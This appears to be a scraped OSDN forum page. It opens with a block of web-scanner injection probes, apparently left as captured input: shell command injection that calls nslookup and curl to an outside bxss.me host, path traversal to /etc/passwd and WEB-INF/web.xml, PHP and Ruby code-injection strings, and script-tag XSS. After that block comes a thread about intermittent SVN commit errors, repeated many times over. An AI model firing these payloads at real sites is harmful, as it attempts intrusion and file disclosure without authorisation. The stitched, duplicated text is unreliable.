(nslookup -q=cname hitzmkpjeymlu3589c.bxss.me||curl hitzmkpjeymlu3589c.bxss.me))
"+"A".concat(70-3).concat(22*4).concat(119).concat(89).concat(116).concat(78)+(require"socket" Socket.gethostbyname("hitym"+"wqmqubkra9366.bxss.me.")3.to_s)+"
&(nslookup -q=cname hitxzzjfpsxecdec19.bxss.me||curl hitxzzjfpsxecdec19.bxss.me)&'\"0&(nslookup -q=cname hitxzzjfpsxecdec19.bxss.me||curl hitxzzjfpsxecdec19.bxss.me)&'
HttP://bxss.me/t/xss.html?%00
file:///etc/passwd
bxss.me/t/xss.html?%00
|(nslookup -q=cname hitpiyidekphu4be69.bxss.me||curl hitpiyidekphu4be69.bxss.me)
/WEB-INF/web.xml
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
(nslookup -q=cname hitxikgeigygj513c5.bxss.me||curl hitxikgeigygj513c5.bxss.me)
WEB-INF/web.xml
/\../\../\../\../\../\../\../etc/passwd
WEB-INF\web.xml
";print(md5(31337));$a="
';print(md5(31337));$a='
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
xfs.bxss.me
'A'.concat(70-3).concat(22*4).concat(114).concat(70).concat(100).concat(74)+(require'socket' Socket.gethostbyname('hitfw'+'mujpaqfs32661.bxss.me.')3.to_s)
|(nslookup${IFS}-q${IFS}cname${IFS}hitvumaqyimsne74b1.bxss.me||curl${IFS}hitvumaqyimsne74b1.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitylvdskjjivcb6cc.bxss.me||curl${IFS}hitylvdskjjivcb6cc.bxss.me)&'\"0&(nslookup${IFS}-q${IFS}cname${IFS}hitylvdskjjivcb6cc.bxss.me||curl${IFS}hitylvdskjjivcb6cc.bxss.me)&'
'+'A'.concat(70-3).concat(22*4).concat(103).concat(73).concat(111).concat(74)+(require'socket' Socket.gethostbyname('hithr'+'prkabofab5f42.bxss.me.')3.to_s)+'
;(nslookup -q=cname hitnrrcobrqqo369b3.bxss.me||curl hitnrrcobrqqo369b3.bxss.me)|(nslookup -q=cname hitnrrcobrqqo369b3.bxss.me||curl hitnrrcobrqqo369b3.bxss.me)&(nslookup -q=cname hitnrrcobrqqo369b3.bxss.me||curl hitnrrcobrqqo369b3.bxss.me)
<!--
'"
${@print(md5(31337))}\
${@print(md5(31337))}
'.print(md5(31337)).'
1'"()&%<zzz><ScRiPt >wXtV(9963)</ScRiPt>
'"()&%<zzz><ScRiPt >wXtV(9086)</ScRiPt>
19005019
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
